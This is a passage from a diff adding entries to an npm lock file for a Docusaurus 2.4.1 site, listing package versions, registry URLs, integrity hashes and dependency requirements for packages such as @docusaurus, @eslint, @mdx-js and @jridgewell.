"sha512-lZx+ijt/+atQ3FVE8FOHV/+X3kuok688OydDXrqKRJyXBJZKgGjA2Qa8RjQ4f27V2woaXhtnyrdPop/+OjVMRg==", + "requires": { + "@docusaurus/core": "2.4.1", + "@docusaurus/logger": "2.4.1", + "@docusaurus/types": "2.4.1", + "@docusaurus/utils": "2.4.1", + "@docusaurus/utils-common": "2.4.1", + "@docusaurus/utils-validation": "2.4.1", + "fs-extra": "^10.1.0", + "sitemap": "^7.1.1", + "tslib": "^2.4.0" + } + }, + "@docusaurus/preset-classic": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/@docusaurus/preset-classic/-/preset-classic-2.4.1.tgz", + "integrity": "sha512-P4//+I4zDqQJ+UDgoFrjIFaQ1MeS9UD1cvxVQaI6O7iBmiHQm0MGROP1TbE7HlxlDPXFJjZUK3x3cAoK63smGQ==", + "requires": { + "@docusaurus/core": "2.4.1", + "@docusaurus/plugin-content-blog": "2.4.1", + "@docusaurus/plugin-content-docs": "2.4.1", + "@docusaurus/plugin-content-pages": "2.4.1", + "@docusaurus/plugin-debug": "2.4.1", + "@docusaurus/plugin-google-analytics": "2.4.1", + "@docusaurus/plugin-google-gtag": "2.4.1", + "@docusaurus/plugin-google-tag-manager": "2.4.1", + "@docusaurus/plugin-sitemap": "2.4.1", + "@docusaurus/theme-classic": "2.4.1", + "@docusaurus/theme-common": "2.4.1", + "@docusaurus/theme-search-algolia": "2.4.1", + "@docusaurus/types": "2.4.1" + } + }, + "@docusaurus/react-loadable": { + "version": "5.5.2", + "resolved": "https://registry.npmjs.org/@docusaurus/react-loadable/-/react-loadable-5.5.2.tgz", + "integrity": "sha512-A3dYjdBGuy0IGT+wyLIGIKLRE+sAk1iNk0f1HjNDysO7u8lhL4N3VEm+FAubmJbAztn94F7MxBTPmnixbiyFdQ==", + "requires": { + "@types/react": "*", + "prop-types": "^15.6.2" + } + }, + "@docusaurus/theme-classic": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/@docusaurus/theme-classic/-/theme-classic-2.4.1.tgz", + "integrity": "sha512-Rz0wKUa+LTW1PLXmwnf8mn85EBzaGSt6qamqtmnh9Hflkc+EqiYMhtUJeLdV+wsgYq4aG0ANc+bpUDpsUhdnwg==", + "requires": { + "@docusaurus/core": "2.4.1", + "@docusaurus/mdx-loader": "2.4.1", + "@docusaurus/module-type-aliases": "2.4.1", + "@docusaurus/plugin-content-blog": "2.4.1", + "@docusaurus/plugin-content-docs": "2.4.1", + "@docusaurus/plugin-content-pages": "2.4.1", + "@docusaurus/theme-common": "2.4.1", + "@docusaurus/theme-translations": "2.4.1", + "@docusaurus/types": "2.4.1", + "@docusaurus/utils": "2.4.1", + "@docusaurus/utils-common": "2.4.1", + "@docusaurus/utils-validation": "2.4.1", + "@mdx-js/react": "^1.6.22", + "clsx": "^1.2.1", + "copy-text-to-clipboard": "^3.0.1", + "infima": "0.2.0-alpha.43", + "lodash": "^4.17.21", + "nprogress": "^0.2.0", + "postcss": "^8.4.14", + "prism-react-renderer": "^1.3.5", + "prismjs": "^1.28.0", + "react-router-dom": "^5.3.3", + "rtlcss": "^3.5.0", + "tslib": "^2.4.0", + "utility-types": "^3.10.0" + } + }, + "@docusaurus/theme-common": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/@docusaurus/theme-common/-/theme-common-2.4.1.tgz", + "integrity": "sha512-G7Zau1W5rQTaFFB3x3soQoZpkgMbl/SYNG8PfMFIjKa3M3q8n0m/GRf5/H/e5BqOvt8c+ZWIXGCiz+kUCSHovA==", + "requires": { + "@docusaurus/mdx-loader": "2.4.1", + "@docusaurus/module-type-aliases": "2.4.1", + "@docusaurus/plugin-content-blog": "2.4.1", + "@docusaurus/plugin-content-docs": "2.4.1", + "@docusaurus/plugin-content-pages": "2.4.1", + "@docusaurus/utils": "2.4.1", + "@docusaurus/utils-common": "2.4.1", + "@types/history": "^4.7.11", + "@types/react": "*", + "@types/react-router-config": "*", + "clsx": "^1.2.1", + "parse-numeric-range": "^1.3.0", + "prism-react-renderer": "^1.3.5", + "tslib": "^2.4.0", + "use-sync-external-store": "^1.2.0", + "utility-types": "^3.10.0" + } + }, + "@docusaurus/theme-live-codeblock": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/@docusaurus/theme-live-codeblock/-/theme-live-codeblock-2.4.1.tgz", + "integrity": "sha512-KBKrm34kcdNbSeEm6RujN5GWWg4F2dmAYZyHMMQM8FXokx8mNShRx6uq17WXi23JNm7niyMhNOBRfZWay+5Hkg==", + "requires": { + "@docusaurus/core": "2.4.1", + "@docusaurus/theme-common": "2.4.1", + "@docusaurus/theme-translations": "2.4.1", + "@docusaurus/utils-validation": "2.4.1", + "@philpl/buble": "^0.19.7", + "clsx": "^1.2.1", + "fs-extra": "^10.1.0", + "react-live": "2.2.3", + "tslib": "^2.4.0" + } + }, + "@docusaurus/theme-search-algolia": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/@docusaurus/theme-search-algolia/-/theme-search-algolia-2.4.1.tgz", + "integrity": "sha512-6BcqW2lnLhZCXuMAvPRezFs1DpmEKzXFKlYjruuas+Xy3AQeFzDJKTJFIm49N77WFCTyxff8d3E4Q9pi/+5McQ==", + "requires": { + "@docsearch/react": "^3.1.1", + "@docusaurus/core": "2.4.1", + "@docusaurus/logger": "2.4.1", + "@docusaurus/plugin-content-docs": "2.4.1", + "@docusaurus/theme-common": "2.4.1", + "@docusaurus/theme-translations": "2.4.1", + "@docusaurus/utils": "2.4.1", + "@docusaurus/utils-validation": "2.4.1", + "algoliasearch": "^4.13.1", + "algoliasearch-helper": "^3.10.0", + "clsx": "^1.2.1", + "eta": "^2.0.0", + "fs-extra": "^10.1.0", + "lodash": "^4.17.21", + "tslib": "^2.4.0", + "utility-types": "^3.10.0" + } + }, + "@docusaurus/theme-translations": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/@docusaurus/theme-translations/-/theme-translations-2.4.1.tgz", + "integrity": "sha512-T1RAGP+f86CA1kfE8ejZ3T3pUU3XcyvrGMfC/zxCtc2BsnoexuNI9Vk2CmuKCb+Tacvhxjv5unhxXce0+NKyvA==", + "requires": { + "fs-extra": "^10.1.0", + "tslib": "^2.4.0" + } + }, + "@docusaurus/types": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/@docusaurus/types/-/types-2.4.1.tgz", + "integrity": "sha512-0R+cbhpMkhbRXX138UOc/2XZFF8hiZa6ooZAEEJFp5scytzCw4tC1gChMFXrpa3d2tYE6AX8IrOEpSonLmfQuQ==", + "requires": { + "@types/history": "^4.7.11", + "@types/react": "*", + "commander": "^5.1.0", + "joi": "^17.6.0", + "react-helmet-async": "^1.3.0", + "utility-types": "^3.10.0", + "webpack": "^5.73.0", + "webpack-merge": "^5.8.0" + } + }, + "@docusaurus/utils": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/@docusaurus/utils/-/utils-2.4.1.tgz", + "integrity": "sha512-1lvEZdAQhKNht9aPXPoh69eeKnV0/62ROhQeFKKxmzd0zkcuE/Oc5Gpnt00y/f5bIsmOsYMY7Pqfm/5rteT5GA==", + "requires": { + "@docusaurus/logger": "2.4.1", + "@svgr/webpack": "^6.2.1", + "escape-string-regexp": "^4.0.0", + "file-loader": "^6.2.0", + "fs-extra": "^10.1.0", + "github-slugger": "^1.4.0", + "globby": "^11.1.0", + "gray-matter": "^4.0.3", + "js-yaml": "^4.1.0", + "lodash": "^4.17.21", + "micromatch": "^4.0.5", + "resolve-pathname": "^3.0.0", + "shelljs": "^0.8.5", + "tslib": "^2.4.0", + "url-loader": "^4.1.1", + "webpack": "^5.73.0" + } + }, + "@docusaurus/utils-common": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/@docusaurus/utils-common/-/utils-common-2.4.1.tgz", + "integrity": "sha512-bCVGdZU+z/qVcIiEQdyx0K13OC5mYwxhSuDUR95oFbKVuXYRrTVrwZIqQljuo1fyJvFTKHiL9L9skQOPokuFNQ==", + "requires": { + "tslib": "^2.4.0" + } + }, + "@docusaurus/utils-validation": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/@docusaurus/utils-validation/-/utils-validation-2.4.1.tgz", + "integrity": "sha512-unII3hlJlDwZ3w8U+pMO3Lx3RhI4YEbY3YNsQj4yzrkZzlpqZOLuAiZK2JyULnD+TKbceKU0WyWkQXtYbLNDFA==", + "requires": { + "@docusaurus/logger": "2.4.1", + "@docusaurus/utils": "2.4.1", + "joi": "^17.6.0", + "js-yaml": "^4.1.0", + "tslib": "^2.4.0" + } + }, + "@eslint-community/eslint-utils": { + "version": "4.4.0", + "resolved": "https://registry.npmjs.org/@eslint-community/eslint-utils/-/eslint-utils-4.4.0.tgz", + "integrity": "sha512-1/sA4dwrzBAyeUoQ6oxahHKmrZvsnLCg4RfxW3ZFGGmQkSNQPFNLV9CUEFQP1x9EYXHTo5p6xdhZM1Ne9p/AfA==", + "devOptional": true, + "requires": { + "eslint-visitor-keys": "^3.3.0" + } + }, + "@eslint-community/regexpp": { + "version": "4.7.0", + "resolved": "https://registry.npmjs.org/@eslint-community/regexpp/-/regexpp-4.7.0.tgz", + "integrity": "sha512-+HencqxU7CFJnQb7IKtuNBqS6Yx3Tz4kOL8BJXo+JyeiBm5MEX6pO8onXDkjrkCRlfYXS1Axro15ZjVFe9YgsA==", + "devOptional": true + }, + "@eslint/eslintrc": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/@eslint/eslintrc/-/eslintrc-2.1.2.tgz", + "integrity": "sha512-+wvgpDsrB1YqAMdEUCcnTlpfVBH7Vqn6A/NT3D8WVXFIaKMlErPIZT3oCIAVCOtarRpMtelZLqJeU3t7WY6X6g==", + "devOptional": true, + "requires": { + "ajv": "^6.12.4", + "debug": "^4.3.2", + "espree": "^9.6.0", + "globals": "^13.19.0", + "ignore": "^5.2.0", + "import-fresh": "^3.2.1", + "js-yaml": "^4.1.0", + "minimatch": "^3.1.2", + "strip-json-comments": "^3.1.1" + }, + "dependencies": { + "globals": { + "version": "13.21.0", + "resolved": "https://registry.npmjs.org/globals/-/globals-13.21.0.tgz", + "integrity": "sha512-ybyme3s4yy/t/3s35bewwXKOf7cvzfreG2lH0lZl0JB7I4GxRP2ghxOK/Nb9EkRXdbBXZLfq/p/0W2JUONB/Gg==", + "devOptional": true, + "requires": { + "type-fest": "^0.20.2" + } + }, + "type-fest": { + "version": "0.20.2", + "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.20.2.tgz", + "integrity": "sha512-Ne+eE4r0/iWnpAxD852z3A+N0Bt5RN//NjJwRd2VFHEmrywxf5vsZlh4R6lixl6B+wz/8d+maTSAkN1FIkI3LQ==", + "devOptional": true + } + } + }, + "@eslint/js": { + "version": "8.47.0", + "resolved": "https://registry.npmjs.org/@eslint/js/-/js-8.47.0.tgz", + "integrity": "sha512-P6omY1zv5MItm93kLM8s2vr1HICJH8v0dvddDhysbIuZ+vcjOHg5Zbkf1mTkcmi2JA9oBG2anOkRnW8WJTS8Og==", + "devOptional": true + }, + "@hapi/hoek": { + "version": "9.3.0", + "resolved": "https://registry.npmjs.org/@hapi/hoek/-/hoek-9.3.0.tgz", + "integrity": "sha512-/c6rf4UJlmHlC9b5BaNvzAcFv7HZ2QHaV0D4/HNlBdvFnvQq8RI4kYdhyPCl7Xj+oWvTWQ8ujhqS53LIgAe6KQ==" + }, + "@hapi/topo": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/@hapi/topo/-/topo-5.1.0.tgz", + "integrity": "sha512-foQZKJig7Ob0BMAYBfcJk8d77QtOe7Wo4ox7ff1lQYoNNAb6jwcY1ncdoy2e9wQZzvNy7ODZCYJkK8kzmcAnAg==", + "requires": { + "@hapi/hoek": "^9.0.0" + } + }, + "@humanwhocodes/config-array": { + "version": "0.11.10", + "resolved": "https://registry.npmjs.org/@humanwhocodes/config-array/-/config-array-0.11.10.tgz", + "integrity": "sha512-KVVjQmNUepDVGXNuoRRdmmEjruj0KfiGSbS8LVc12LMsWDQzRXJ0qdhN8L8uUigKpfEHRhlaQFY0ib1tnUbNeQ==", + "devOptional": true, + "requires": { + "@humanwhocodes/object-schema": "^1.2.1", + "debug": "^4.1.1", + "minimatch": "^3.0.5" + } + }, + "@humanwhocodes/module-importer": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/@humanwhocodes/module-importer/-/module-importer-1.0.1.tgz", + "integrity": "sha512-bxveV4V8v5Yb4ncFTT3rPSgZBOpCkjfK0y4oVVVJwIuDVBRMDXrPyXRL988i5ap9m9bnyEEjWfm5WkBmtffLfA==", + "devOptional": true + }, + "@humanwhocodes/object-schema": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/@humanwhocodes/object-schema/-/object-schema-1.2.1.tgz", + "integrity": "sha512-ZnQMnLV4e7hDlUvw8H+U8ASL02SS2Gn6+9Ac3wGGLIe7+je2AeAOxPY+izIPJDfFDb7eDjev0Us8MO1iFRN8hA==", + "devOptional": true + }, + "@jest/schemas": { + "version": "29.6.3", + "resolved": "https://registry.npmjs.org/@jest/schemas/-/schemas-29.6.3.tgz", + "integrity": "sha512-mo5j5X+jIZmJQveBKeS/clAueipV7KgiX1vMgCxam1RNYiqE1w62n0/tJJnHtjW8ZHcQco5gY85jA3mi0L+nSA==", + "requires": { + "@sinclair/typebox": "^0.27.8" + } + }, + "@jest/types": { + "version": "29.6.3", + "resolved": "https://registry.npmjs.org/@jest/types/-/types-29.6.3.tgz", + "integrity": "sha512-u3UPsIilWKOM3F9CXtrG8LEJmNxwoCQC/XVj4IKYXvvpx7QIi/Kg1LI5uDmDpKlac62NUtX7eLjRh+jVZcLOzw==", + "requires": { + "@jest/schemas": "^29.6.3", + "@types/istanbul-lib-coverage": "^2.0.0", + "@types/istanbul-reports": "^3.0.0", + "@types/node": "*", + "@types/yargs": "^17.0.8", + "chalk": "^4.0.0" + } + }, + "@jridgewell/gen-mapping": { + "version": "0.3.3", + "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.3.tgz", + "integrity": "sha512-HLhSWOLRi875zjjMG/r+Nv0oCW8umGb0BgEhyX3dDX3egwZtB8PqLnjz3yedt8R5StBrzcg4aBpnh8UA9D1BoQ==", + "requires": { + "@jridgewell/set-array": "^1.0.1", + "@jridgewell/sourcemap-codec": "^1.4.10", + "@jridgewell/trace-mapping": "^0.3.9" + } + }, + "@jridgewell/resolve-uri": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.1.tgz", + "integrity": "sha512-dSYZh7HhCDtCKm4QakX0xFpsRDqjjtZf/kjI/v3T3Nwt5r8/qz/M19F9ySyOqU94SXBmeG9ttTul+YnR4LOxFA==" + }, + "@jridgewell/set-array": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@jridgewell/set-array/-/set-array-1.1.2.tgz", + "integrity": "sha512-xnkseuNADM0gt2bs+BvhO0p78Mk762YnZdsuzFV018NoG1Sj1SCQvpSqa7XUaTam5vAGasABV9qXASMKnFMwMw==" + }, + "@jridgewell/source-map": { + "version": "0.3.5", + "resolved": "https://registry.npmjs.org/@jridgewell/source-map/-/source-map-0.3.5.tgz", + "integrity": "sha512-UTYAUj/wviwdsMfzoSJspJxbkH5o1snzwX0//0ENX1u/55kkZZkcTZP6u9bwKGkv+dkk9at4m1Cpt0uY80kcpQ==", + "requires": { + "@jridgewell/gen-mapping": "^0.3.0", + "@jridgewell/trace-mapping": "^0.3.9" + } + }, + "@jridgewell/sourcemap-codec": { + "version": "1.4.15", + "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.4.15.tgz", + "integrity": "sha512-eF2rxCRulEKXHTRiDrDy6erMYWqNw4LPdQ8UQA4huuxaQsVeRPFl2oM8oDGxMFhJUWZf9McpLtJasDDZb/Bpeg==" + }, + "@jridgewell/trace-mapping": { + "version": "0.3.19", + "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.19.tgz", + "integrity": "sha512-kf37QtfW+Hwx/buWGMPcR60iF9ziHa6r/CZJIHbmcm4+0qrXiVdxegAH0F6yddEVQ7zdkjcGCgCzUu+BcbhQxw==", + "requires": { + "@jridgewell/resolve-uri": "^3.1.0", + "@jridgewell/sourcemap-codec": "^1.4.14" + } + }, + "@leichtgewicht/ip-codec": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/@leichtgewicht/ip-codec/-/ip-codec-2.0.4.tgz", + "integrity": "sha512-Hcv+nVC0kZnQ3tD9GVu5xSMR4VVYOteQIr/hwFPVEvPdlXqgGEuRjiheChHgdM+JyqdgNcmzZOX/tnl0JOiI7A==" + }, + "@mdx-js/mdx": { + "version": "1.6.22", + "resolved": "https://registry.npmjs.org/@mdx-js/mdx/-/mdx-1.6.22.tgz", + "integrity": "sha512-AMxuLxPz2j5/6TpF/XSdKpQP1NlG0z11dFOlq+2IP/lSgl11GY8ji6S/rgsViN/L0BDvHvUMruRb7ub+24LUYA==", + "requires": { + "@babel/core": "7.12.9", + "@babel/plugin-syntax-jsx": "7.12.1", + "@babel/plugin-syntax-object-rest-spread": "7.8.3", + "@mdx-js/util": "1.6.22", + "babel-plugin-apply-mdx-type-prop": "1.6.22", + "babel-plugin-extract-import-names": "1.6.22", + "camelcase-css": "2.0.1", + "detab": "2.0.4", + "hast-util-raw": "6.0.1", + "lodash.uniq": "4.5.0", + "mdast-util-to-hast": "10.0.1", + "remark-footnotes": "2.0.0", + "remark-mdx": "1.6.22", + "remark-parse": "8.0.3", + "remark-squeeze-paragraphs": "4.0.0", + "style-to-object": "0.3.0", + "unified": "9.2.0", + "unist-builder": "2.0.3", + "unist-util-visit": "2.0.3" + }, + "dependencies": { + "@babel/core": { + "version": "7.12.9", + "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.12.9.tgz", + "integrity": "sha512-gTXYh3M5wb7FRXQy+FErKFAv90BnlOuNn1QkCK2lREoPAjrQCO49+HVSrFoe5uakFAF5eenS75KbO2vQiLrTMQ==", + "requires": { + "@babel/code-frame": "^7.10.4", + "@babel/generator": "^7.12.5", + "@babel/helper-module-transforms": "^7.12.1", + "@babel/helpers": "^7.12.5", + "@babel/parser": "^7.12.7", + "@babel/template": "^7.12.7", + "@babel/traverse": "^7.12.9", + "@babel/types": "^7.12.7", + "convert-source-map": "^1.7.0", + "debug": "^4.1.0", + "gensync": "^1.0.0-beta.1", + "json5": "^2.1.2", + "lodash": "^4.17.19", + "resolve": "^1.3.2", + "semver": "^5.4.1", + "source-map": "^0.5.0" + } + }, + "@babel/plugin-syntax-jsx": { + "version": "7.12.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-jsx/-/plugin-syntax-jsx-7.12.1.tgz", + "integrity": "sha512-1yRi7yAtB0ETgxdY9ti/p2TivUxJkTdhu/ZbF9MshVGqOx1TdB3b7xCXs49Fupgg50N45KcAsRP/ZqWjs9SRjg==", + "requires": { + "@babel/helper-plugin-utils": "^7.10.4" + } + }, + "is-plain-obj": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-2.1.0.tgz", + "integrity": "sha512-YWnfyRwxL/+SsrWYfOpUtz5b3YD+nyfkHvjbcanzk8zgyO4ASD67uVMRt8k5bM4lLMDnXfriRhOpemw+NfT1eA==" + }, + "semver": { + "version": "5.7.2", + "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.2.tgz", + "integrity": "sha512-cBznnQ9KjJqU67B52RMC65CMarK2600WFnbkcaiwWq3xy/5haFJlshgnpjovMVJ+Hff49d8GEn0b87C5pDQ10g==" + }, + "source-map": { + "version": "0.5.7", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.5.7.tgz", + "integrity": "sha512-LbrmJOMUSdEVxIKvdcJzQC+nQhe8FUZQTXQy6+I75skNgn3OoQ0DZA8YnFa7gp8tqtL3KPf1kmo0R5DoApeSGQ==" + }, + "unified": { + "version": "9.2.0", + "resolved": "https://registry.npmjs.org/unified/-/unified-9.2.0.tgz", + "integrity": "sha512-vx2Z0vY+a3YoTj8+pttM3tiJHCwY5UFbYdiWrwBEbHmK8pvsPj2rtAX2BFfgXen8T39CJWblWRDT4L5WGXtDdg==", + "requires": { + "bail": "^1.0.0", + "extend": "^3.0.0", + "is-buffer": "^2.0.0", + "is-plain-obj": "^2.0.0", + "trough": "^1.0.0", + "vfile": "^4.0.0" + } + } + } + }, + "@mdx-js/react": { + "version": "1.6.22", + "resolved": "https://registry.npmjs.org/@mdx-js/react/-/react-1.6.22.tgz", + "integrity": "sha512-TDoPum4SHdfPiGSAaRBw7ECyI8VaHpK8GJugbJIJuqyh6kzw9ZLJZW3HGL3NNrJGxcAixUvqROm+YuQOo5eXtg==", + "requires": {} + }, + "@mdx-js/util": { + "version": "1.6.22", + "resolved": "https://registry.npmjs.org/@mdx-js/util/-/util-1.6.22.tgz", + "integrity": "sha512-H1rQc1ZOHANWBvPcW+JpGwr+juXSxM8Q8YCkm3GhZd8REu1fHR3z99CErO1p9pkcfcxZnMdIZdIsXkOHY0NilA==" + }, + "@nodelib/fs.scandir": { + "version": "2.1.5", + "resolved": "https://registry.npmjs.org/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz", + "integrity": "sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==", + "requires": { + "@nodelib/fs.stat": "2.0.5", + "run-parallel": "^1.1.9" + } + }, + "@nodelib/fs.stat": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/@nodelib/fs.stat/-/fs.stat-2.0.5.tgz", + "integrity": "sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==" + }, + "@nodelib/fs.walk": { + "version": "1.2.8", + "resolved": "https://registry.npmjs.org/@nodelib/fs.walk/-/fs.walk-1.2.8.tgz", + "integrity": "sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==", + "requires": { + "@nodelib/fs.scandir": "2.1.5", + "fastq": "^1.6.0" + } + }, + "@philpl/buble": { + "version": "0.19.7", + "resolved": "https://registry.npmjs.org/@philpl/buble/-/buble-0.19.7.tgz", + "integrity": "sha512-wKTA2DxAGEW+QffRQvOhRQ0VBiYU2h2p8Yc1oBNlqSKws48/8faxqKNIuub0q4iuyTuLwtB8EkwiKwhlfV1PBA==", + "requires": { + "acorn": "^6.1.1", + "acorn-class-fields": "^0.2.1", + "acorn-dynamic-import": "^4.0.0", + "acorn-jsx": "^5.0.1", + "chalk": "^2.4.2", + "magic-string": "^0.25.2", + "minimist": "^1.2.0", + "os-homedir": "^1.0.1", + "regexpu-core": "^4.5.4" + }, + "dependencies": { + "ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "requires": { + "color-convert": "^1.9.0" + } + }, + "chalk": { + "version": "2.4.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz", + "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==", + "requires": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + } + }, + "color-convert": { + "version": "1.9.3", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz", + "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==", + "requires": { + "color-name": "1.1.3" + } + }, + "color-name": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.3.tgz", + "integrity": "sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw==" + }, + "escape-string-regexp": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz", + "integrity": "sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==" + }, + "has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==" + }, + "jsesc": { + "version": "0.5.0", + "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-0.5.0.tgz", + "integrity": "sha512-uZz5UnB7u4T9LvwmFqXii7pZSouaRPorGs5who1Ip7VO0wxanFvBL7GkM6dTHlgX+jhBApRetaWpnDabOeTcnA==" + }, + "regenerate-unicode-properties": { + "version": "9.0.0", + "resolved": "https://registry.npmjs.org/regenerate-unicode-properties/-/regenerate-unicode-properties-9.0.0.tgz", + "integrity": "sha512-3E12UeNSPfjrgwjkR81m5J7Aw/T55Tu7nUyZVQYCKEOs+2dkxEY+DpPtZzO4YruuiPb7NkYLVcyJC4+zCbk5pA==", + "requires": { + "regenerate": "^1.4.2" + } + }, + "regexpu-core": { + "version": "4.8.0", + "resolved": "https://registry.npmjs.org/regexpu-core/-/regexpu-core-4.8.0.tgz", + "integrity": "sha512-1F6bYsoYiz6is+oz70NWur2Vlh9KWtswuRuzJOfeYUrfPX2o8n74AnUVaOGDbUqVGO9fNHu48/pjJO4sNVwsOg==", + "requires": { + "regenerate": "^1.4.2", + "regenerate-unicode-properties": "^9.0.0", + "regjsgen": "^0.5.2", + "regjsparser": "^0.7.0", + "unicode-match-property-ecmascript": "^2.0.0", + "unicode-match-property-value-ecmascript": "^2.0.0" + } + }, + "regjsparser": { + "version": "0.7.0", + "resolved": "https://registry.npmjs.org/regjsparser/-/regjsparser-0.7.0.tgz", + "integrity": "sha512-A4pcaORqmNMDVwUjWoTzuhwMGpP+NykpfqAsEgI1FSH/EzC7lrN5TMd+kN8YCovX+jMpu8eaqXgXPCa0g8FQNQ==", + "requires": { + "jsesc": "~0.5.0" + } + }, + "supports-color": { + "version": "5.5.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz", + "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", + "requires": { + "has-flag": "^3.0.0" + } + } + } + }, + "@polka/url": { + "version": "1.0.0-next.21", + "resolved": "https://registry.npmjs.org/@polka/url/-/url-1.0.0-next.21.tgz", + "integrity": "sha512-a5Sab1C4/icpTZVzZc5Ghpz88yQtGOyNqYXcZgOssB2uuAr+wF/MvN6bgtW32q7HHrvBki+BsZ0OuNv6EV3K9g==" + }, + "@sideway/address": { + "version": "4.1.4", + "resolved": "https://registry.npmjs.org/@sideway/address/-/address-4.1.4.tgz", + "integrity": "sha512-7vwq+rOHVWjyXxVlR76Agnvhy8I9rpzjosTESvmhNeXOXdZZB15Fl+TI9x1SiHZH5Jv2wTGduSxFDIaq0m3DUw==", + "requires": { + "@hapi/hoek": "^9.0.0" + } + }, + "@sideway/formula": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/@sideway/formula/-/formula-3.0.1.tgz", + "integrity": "sha512-/poHZJJVjx3L+zVD6g9KgHfYnb443oi7wLu/XKojDviHy6HOEOA6z1Trk5aR1dGcmPenJEgb2sK2I80LeS3MIg==" + }, + "@sideway/pinpoint": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/@sideway/pinpoint/-/pinpoint-2.0.0.tgz", + "integrity": "sha512-RNiOoTPkptFtSVzQevY/yWtZwf/RxyVnPy/OcA9HBM3MlGDnBEYL5B41H0MTn0Uec8Hi+2qUtTfG2WWZBmMejQ==" + }, + "@sinclair/typebox": { + "version": "0.27.8", + "resolved": "https://registry.npmjs.org/@sinclair/typebox/-/typebox-0.27.8.tgz", + "integrity": "sha512-+Fj43pSMwJs4KRrH/938Uf+uAELIgVBmQzg/q1YG10djyfA3TnrU8N8XzqCh/okZdszqBQTZf96idMfE5lnwTA==" + }, + "@slorber/static-site-generator-webpack-plugin": { + "version": "4.0.7", + "resolved": "https://registry.npmjs.org/@slorber/static-site-generator-webpack-plugin/-/static-site-generator-webpack-plugin-4.0.7.tgz", + "integrity": "sha512-Ug7x6z5lwrz0WqdnNFOMYrDQNTPAprvHLSh6+/fmml3qUiz6l5eq+2MzLKWtn/q5K5NpSiFsZTP/fck/3vjSxA==", + "requires": { + "eval": "^0.1.8", + "p-map": "^4.0.0", + "webpack-sources": "^3.2.2" + } + }, + "@svgr/babel-plugin-add-jsx-attribute": { + "version": "6.5.1", + "resolved": "https://registry.npmjs.org/@svgr/babel-plugin-add-jsx-attribute/-/babel-plugin-add-jsx-attribute-6.5.1.tgz", + "integrity": 